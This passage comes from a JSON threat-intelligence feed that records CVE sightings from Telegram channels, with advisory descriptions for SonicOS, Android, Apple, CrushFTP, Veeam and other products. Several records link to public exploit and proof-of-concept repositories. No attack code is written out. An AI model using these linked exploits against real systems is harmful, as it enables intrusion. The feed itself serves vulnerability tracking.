Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40765\n\ud83d\udd39 Description: An Integer-based buffer overflow vulnerability in the SonicOS via IPSec allows a remote attacker in specific conditions to cause Denial of Service (DoS) and potentially execute arbitrary code by sending a specially crafted IKEv2 payload.\n\ud83d\udccf Published: 2025-01-09T07:12:40.644Z\n\ud83d\udccf Modified: 2025-01-09T14:58:28.792Z\n\ud83d\udd17 References:\n1. https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0013", "creation_timestamp": "2025-01-09T15:14:37.000000Z"}, {"uuid": "52fb8cd0-f586-4ea4-8373-f6faf1959428", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/13396", "content": "\u200aPoC Exploit Releases for Unauthenticated RCE CVE-2024-40711 in Veeam Backup & Replication\n\nhttps://securityonline.info/poc-exploit-releases-for-unauthenticated-rce-cve-2024-40711-in-veeam-backup-replication/", "creation_timestamp": "2024-09-18T09:07:12.000000Z"}, {"uuid": "c1ba77d1-7f1d-4719-b542-551b66fa5489", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40679", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/601", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40679\n\ud83d\udd39 Description: IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5 is vulnerable to an information disclosure vulnerability as sensitive information may be included in a log file under specific conditions.\n\ud83d\udccf Published: 2025-01-08T00:44:37.346Z\n\ud83d\udccf Modified: 2025-01-08T00:44:37.346Z\n\ud83d\udd17 References:\n1. https://www.ibm.com/support/pages/node/7175957", "creation_timestamp": "2025-01-08T01:37:38.000000Z"}, {"uuid": "315845bf-4202-44ff-9c49-014db3e456cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40762", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/904", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40762\n\ud83d\udd39 Description: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) in the SonicOS SSLVPN authentication token generator that, in certain cases, can be predicted by an attacker potentially resulting in authentication bypass.\n\ud83d\udccf Published: 2025-01-09T06:43:25.000Z\n\ud83d\udccf Modified: 2025-01-09T06:43:25.000Z\n\ud83d\udd17 References:\n1. https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0003", "creation_timestamp": "2025-01-09T07:14:27.000000Z"}, {"uuid": "a75be1e7-f8c3-40fe-bf78-ec03cce21628", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4081", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/14230", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-4081\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: A memory corruption issue due to an improper length check in NI LabVIEW may disclose information or result in arbitrary code execution. Successful exploitation requires an attacker to provide a user with a specially crafted VI. This vulnerability affects NI LabVIEW 2024 Q1 and prior versions.\n\ud83d\udccf Published: 2024-07-23T13:32:52.584Z\n\ud83d\udccf Modified: 2025-05-01T03:55:27.540Z\n\ud83d\udd17 References:\n1. https://www.ni.com/en/support/security/available-critical-and-security-updates-for-ni-software/memory-corruption-issues-due-to-improper-length-checks-in-labview.html", "creation_timestamp": "2025-05-01T04:14:54.000000Z"}, {"uuid": "f742ea23-02e5-4275-bd9d-1c07a614375f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40749", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/474", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40749\n\ud83d\udd39 Description: Improper Access Controls allows access to protected views.\n\ud83d\udccf Published: 2025-01-07T16:22:12.593Z\n\ud83d\udccf Modified: 2025-01-07T16:22:12.593Z\n\ud83d\udd17 References:\n1. https://developer.joomla.org/security-centre/956-20250103-core-read-acl-violation-in-multiple-core-views.html", "creation_timestamp": "2025-01-07T16:43:13.000000Z"}, {"uuid": "e9b7905c-1369-442c-a948-01e48351909f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40427", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/503", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40427\n\ud83d\udd39 Description: Stack Buffer Overflow in PX4-Autopilot v1.14.3, which allows attackers to execute commands to exploit this vulnerability and cause the program to refuse to execute\n\ud83d\udccf Published: 2025-01-07T00:00:00\n\ud83d\udccf Modified: 2025-01-07T18:33:07.431948\n\ud83d\udd17 References:\n1. https://github.com/PX4/PX4-Autopilot/security/advisories/GHSA-55wq-2hgm-75m4\n2. https://github.com/PX4/PX4-Autopilot/commit/e03e0261a1a0c82f545e66a1e3795956c886db71", "creation_timestamp": "2025-01-07T18:37:19.000000Z"}, {"uuid": "7a6624f4-0735-45bf-9866-809750de7e86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40748", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/702", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40748\n\ud83d\udd39 Description: Lack of output escaping in the id attribute of menu lists.\n\ud83d\udccf Published: 2025-01-07T16:22:00.896Z\n\ud83d\udccf Modified: 2025-01-08T14:51:06.931Z\n\ud83d\udd17 References:\n1. https://developer.joomla.org/security-centre/955-20250102-core-xss-vector-in-the-id-attribute-of-menu-lists.html", "creation_timestamp": "2025-01-08T15:14:04.000000Z"}, {"uuid": "ac37eb82-eb8e-47f0-b2b7-186f4ed41ad7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40839", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1840", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40839\n\ud83d\udd39 Description: This issue was addressed through improved state management. This issue is fixed in iOS 17.5 and iPadOS 17.5. An attacker with physical access to an iOS device may be able to view notification contents from the Lock Screen.\n\ud83d\udccf Published: 2025-01-15T19:35:59.036Z\n\ud83d\udccf Modified: 2025-01-15T19:35:59.036Z\n\ud83d\udd17 References:\n1. https://support.apple.com/en-us/120905", "creation_timestamp": "2025-01-15T19:55:09.000000Z"}, {"uuid": "b448d28f-00d4-4c82-978f-183ded041614", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4011", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1104", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-4011\n\ud83d\udd39 Description: An issue was discovered in GitLab CE/EE affecting all versions starting from 16.1 prior to 16.11.5, starting from 17.0 prior to 17.0.3, and starting from 17.1 prior to 17.1.1, which allows non-project member to promote key results to objectives.\n\ud83d\udccf Published: 2024-06-26T23:31:20.436Z\n\ud83d\udccf Modified: 2025-01-09T21:38:32.388Z\n\ud83d\udd17 References:\n1. https://gitlab.com/gitlab-org/gitlab/-/issues/457235\n2. https://hackerone.com/reports/2456186", "creation_timestamp": "2025-01-09T22:15:58.000000Z"}, {"uuid": "b459ca04-487c-4c89-bf3b-2d290c162d9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40587", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1625", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40587\n\ud83d\udd39 Description: An improper neutralization of special elements used in an OS command ('OS Command Injection') vulnerability [CWE-78] in Fortinet FortiVoice version 7.0.0 through 7.0.4 and before 6.4.9 allows an authenticated privileged attacker to execute unauthorized code or commands via crafted CLI requests.\n\ud83d\udccf Published: 2025-01-14T14:09:40.739Z\n\ud83d\udccf Modified: 2025-01-14T20:54:17.369Z\n\ud83d\udd17 References:\n1. https://fortiguard.fortinet.com/psirt/FG-IR-24-304", "creation_timestamp": "2025-01-14T21:12:09.000000Z"}, {"uuid": "8bd710c5-9373-4487-8011-2abe644ff7e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40771", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1841", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40771\n\ud83d\udd39 Description: The issue was addressed with improved memory handling. This issue is fixed in macOS Sonoma 14.5, iOS 16.7.8 and iPadOS 16.7.8, iOS 17.5 and iPadOS 17.5, macOS Monterey 12.7.5, watchOS 10.5, tvOS 17.5, macOS Ventura 13.6.7, visionOS 1.2. An app may be able to execute arbitrary code with kernel privileges.\n\ud83d\udccf Published: 2025-01-15T19:35:58.395Z\n\ud83d\udccf Modified: 2025-01-15T19:35:58.395Z\n\ud83d\udd17 References:\n1. https://support.apple.com/en-us/120900\n2. https://support.apple.com/en-us/120901\n3. https://support.apple.com/en-us/120906\n4. https://support.apple.com/en-us/120898\n5. https://support.apple.com/en-us/120905\n6. https://support.apple.com/en-us/120899\n7. https://support.apple.com/en-us/120902\n8. https://support.apple.com/en-us/120903", "creation_timestamp": "2025-01-15T19:55:09.000000Z"}, {"uuid": "1fdd6881-2501-42d8-b515-e8954293da53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40854", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1839", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40854\n\ud83d\udd39 Description: A memory initialization issue was addressed with improved memory handling. This issue is fixed in iOS 18.1 and iPadOS 18.1, iOS 17.7.1 and iPadOS 17.7.1, macOS Sonoma 14.7.1, macOS Ventura 13.7.1. An app may be able to cause unexpected system termination.\n\ud83d\udccf Published: 2025-01-15T19:35:59.681Z\n\ud83d\udccf Modified: 2025-01-15T19:35:59.681Z\n\ud83d\udd17 References:\n1. https://support.apple.com/en-us/121570\n2. https://support.apple.com/en-us/121567\n3. https://support.apple.com/en-us/121568\n4. https://support.apple.com/en-us/121563", "creation_timestamp": "2025-01-15T19:55:08.000000Z"}, {"uuid": "1606b173-3cc6-471d-ad6a-9060853d421d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40514", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2078", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40514\n\ud83d\udd39 Description: Insecure Permissions vulnerability in themesebrand Chatvia v.5.3.2 allows a remote attacker to escalate privileges via the User profile name and image upload functions.\n\ud83d\udccf Published: 2025-01-16T00:00:00\n\ud83d\udccf Modified: 2025-01-16T22:17:50.931633\n\ud83d\udd17 References:\n1. https://github.com/php-lover-boy/ChatVia", "creation_timestamp": "2025-01-16T22:56:34.000000Z"}, {"uuid": "9429004e-1ea3-4d85-9e44-73fafe929d20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3984", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40891\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-04T10:15:08.920\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-command-injection-and-insecure-default-credentials-vulnerabilities-in-certain-legacy-dsl-cpe-02-04-2025", "creation_timestamp": "2025-02-12T03:07:38.000000Z"}, {"uuid": "d0351f5d-a3fb-41ee-ae69-8085c3b3f4fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3985", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40890\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-04T10:15:08.717\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-command-injection-and-insecure-default-credentials-vulnerabilities-in-certain-legacy-dsl-cpe-02-04-2025", "creation_timestamp": "2025-02-12T03:07:48.000000Z"}, {"uuid": "d4fb8c2a-a731-4540-9e53-c5463b8fbe70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40513", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2079", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40513\n\ud83d\udd39 Description: An issue in themesebrand Chatvia v.5.3.2 allows a remote attacker to execute arbitrary code via the User profile Upload image function.\n\ud83d\udccf Published: 2025-01-16T00:00:00\n\ud83d\udccf Modified: 2025-01-16T22:16:15.112332\n\ud83d\udd17 References:\n1. https://github.com/php-lover-boy/ChatVia", "creation_timestamp": "2025-01-16T22:56:38.000000Z"}, {"uuid": "a059a6c2-cb6f-4f41-8fec-d6c2f3f7bda7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40673", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3288", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40673\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In Source of ZipFile.java, there is a possible way for an attacker to execute arbitrary code by manipulating Dynamic Code Loading due to improper input validation. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation.\n\ud83d\udccf Published: 2025-01-28T21:31:04Z\n\ud83d\udccf Modified: 2025-01-28T21:31:04Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-40673\n2. https://android.googlesource.com/platform/libcore/+/b17fd2f8fe468e7d32e713b442f610cd33e4e7a9\n3. https://source.android.com/security/bulletin/2024-10-01", "creation_timestamp": "2025-01-28T22:09:30.000000Z"}, {"uuid": "0cedc357-78d6-433a-bb22-e7eb87441556", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40675", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3287", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40675\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In parseUriInternal of Intent.java, there is a possible infinite loop due to improper input validation. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.\n\ud83d\udccf Published: 2025-01-28T21:31:04Z\n\ud83d\udccf Modified: 2025-01-28T21:31:04Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-40675\n2. https://android.googlesource.com/platform/frameworks/base/+/c6b5490ec659b5854fd429f453f75de5befa6359\n3. https://source.android.com/security/bulletin/2024-10-01", "creation_timestamp": "2025-01-28T22:09:29.000000Z"}, {"uuid": "939a2ce7-5f90-4dcc-b332-aa87e109f59c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40672", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3293", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40672\n\ud83d\udd25 CVSS Score: 8.4 (CVSS_V3)\n\ud83d\udd39 Description: In onCreate of ChooserActivity.java, there is a possible way to bypass factory reset protections due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.\n\ud83d\udccf Published: 2025-01-28T21:31:04Z\n\ud83d\udccf Modified: 2025-01-28T21:31:04Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-40672\n2. https://android.googlesource.com/platform/packages/modules/IntentResolver/+/ccd29124d0d2276a3071c0418c14dec188cd3727\n3. https://source.android.com/security/bulletin/2024-10-01", "creation_timestamp": "2025-01-28T22:09:37.000000Z"}, {"uuid": "77020303-6614-4c69-98e3-ac6f4ed40043", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40677", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3292", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40677\n\ud83d\udd25 CVSS Score: 8.4 (CVSS_V3)\n\ud83d\udd39 Description: In shouldSkipForInitialSUW of AdvancedPowerUsageDetail.java, there is a possible way to bypass factory reset protections due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.\n\ud83d\udccf Published: 2025-01-28T21:31:04Z\n\ud83d\udccf Modified: 2025-01-28T21:31:04Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-40677\n2. https://android.googlesource.com/platform/packages/apps/Settings/+/db26138f07db830e3fb78283d37de3c0296d93cb\n3. https://source.android.com/security/bulletin/2024-10-01", "creation_timestamp": "2025-01-28T22:09:36.000000Z"}, {"uuid": "47bd999e-eabd-46eb-9b0a-8664d4c4cba8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40676", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3294", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40676\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In checkKeyIntent of AccountManagerService.java, there is a possible way to bypass intent security check and install an unknown app due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.\n\ud83d\udccf Published: 2025-01-28T21:31:04Z\n\ud83d\udccf Modified: 2025-01-28T21:31:04Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-40676\n2. https://android.googlesource.com/platform/frameworks/base/+/e8a53246607b52b15269f97aef9ba7e928ba2473\n3. https://source.android.com/security/bulletin/2024-10-01", "creation_timestamp": "2025-01-28T22:09:38.000000Z"}, {"uuid": "9897de5b-9435-48c3-b362-38c2565a2aac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7146", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aScanner for CVE-2024-4040\nURL\uff1ahttps://github.com/airbus-cert/CVE-2024-4040\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-24T09:33:27.000000Z"}, {"uuid": "d1f3b87e-e106-4fce-ac34-93097c5629fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40674", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3289", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40674\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In validateSsid of WifiConfigurationUtil.java, there is a possible way to overflow a system configuration file due to a logic error in the code. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.\n\ud83d\udccf Published: 2025-01-28T21:31:04Z\n\ud83d\udccf Modified: 2025-01-28T21:31:04Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-40674\n2. https://android.googlesource.com/platform/packages/modules/Wifi/+/debc548ac085ba1ab0582172b97d965e9a1ea43a\n3. https://source.android.com/security/bulletin/2024-10-01", "creation_timestamp": "2025-01-28T22:09:30.000000Z"}, {"uuid": "19b62d0d-512d-470a-9856-2b83cfdcd3e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7154", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-4040 (CrushFTP VFS escape) or (CrushFTP unauthenticated RCE)\nURL\uff1ahttps://github.com/tr4c3rs/CVE-2024-4040-RCE-POC\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-24T08:26:14.000000Z"}, {"uuid": "1d7ed690-262c-40d1-bab0-b96775a27388", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40422", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3435", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40422\n\ud83d\udd25 CVSS Score: 9.1 (CVSS_V3)\n\ud83d\udd39 Description: The snapshot_path parameter in the /api/get-browser-snapshot endpoint in stitionai devika v1 is susceptible to a path traversal attack. An attacker can manipulate the snapshot_path parameter to traverse directories and access sensitive files on the server. This can potentially lead to unauthorized access to critical system files and compromise the confidentiality and integrity of the system.\n\ud83d\udccf Published: 2024-07-24T18:31:17Z\n\ud83d\udccf Modified: 2025-01-30T00:31:03Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-40422\n2. https://github.com/stitionai/devika/pull/619\n3. https://github.com/alpernae/CVE-2024-40422\n4. https://github.com/stitionai/devika\n5. https://medium.com/@alpernae/uncovering-path-traversal-in-devika-v1-a-deep-dive-into-cve-2024-40422-f8ce81398b99", "creation_timestamp": "2025-01-30T01:12:17.000000Z"}, {"uuid": "0eb2673b-18a4-47d6-9adb-8657f9df03da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7188", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aExploit CrushFTP CVE-2024-4040\nURL\uff1ahttps://github.com/Mohammaddvd/CVE-2024-4040\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-30T13:49:40.000000Z"}, {"uuid": "35c8ab3c-70c5-4332-b4d8-384237e809ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7173", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aCVE-2024-4040 CrushFTP SSTI LFI & Auth Bypass | Full Server Takeover\nURL\uff1ahttps://github.com/Stuub/CVE-2024-4040-SSTI-LFI\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2024-04-25T20:31:06.000000Z"}, {"uuid": "f558a60d-75b0-4e2d-bc35-1d8e922952ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7172", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-4040 CrushFTP SSTI LFI & Auth Bypass | Full Server Takeover\nURL\uff1ahttps://github.com/Stuub/Crushed-CVE-2024-4040-PoC\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-25T20:18:44.000000Z"}, {"uuid": "c8a506c2-5368-4a18-953c-72d6309d6529", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7209", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-27956 WORDPRESS RCE PLUGIN\nURL\uff1ahttps://github.com/gotr00t0day/CVE-2024-4040\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-05-03T23:32:23.000000Z"}, {"uuid": "e14a7ca0-dfc6-47fa-940e-e1f9a6005416", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40945", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4898", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40945\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In the Linux kernel, the following vulnerability has been resolved:\n\niommu: Return right value in iommu_sva_bind_device()\n\niommu_sva_bind_device() should return either a sva bond handle or an\nERR_PTR value in error cases. Existing drivers (idxd and uacce) only\ncheck the return value with IS_ERR(). This could potentially lead to\na kernel NULL pointer dereference issue if the function returns NULL\ninstead of an error pointer.\n\nIn reality, this doesn't cause any problems because iommu_sva_bind_device()\nonly returns NULL when the kernel is not configured with CONFIG_IOMMU_SVA.\nIn this case, iommu_dev_enable_feature(dev, IOMMU_DEV_FEAT_SVA) will\nreturn an error, and the device drivers won't call iommu_sva_bind_device()\nat all.\n\ud83d\udccf Published: 2024-07-12T12:25:19.164Z\n\ud83d\udccf Modified: 2025-02-21T13:45:06.636Z\n\ud83d\udd17 References:\n1. https://git.kernel.org/stable/c/700f564758882db7c039dfba9443fe762561a3f8\n2. https://git.kernel.org/stable/c/cf34f8f66982a36e5cba0d05781b21ec9606b91e\n3. https://git.kernel.org/stable/c/2973b8e7d127754de9013177c41c0b5547406998\n4. https://git.kernel.org/stable/c/6325eab6c108fed27f60ff51852e3eac0ba23f3f\n5. https://git.kernel.org/stable/c/7388ae6f26c0ba95f70cc96bf9c5d5cb06c908b6\n6. https://git.kernel.org/stable/c/61a96da9649a6b6a1a5d5bde9374b045fdb5c12e\n7. 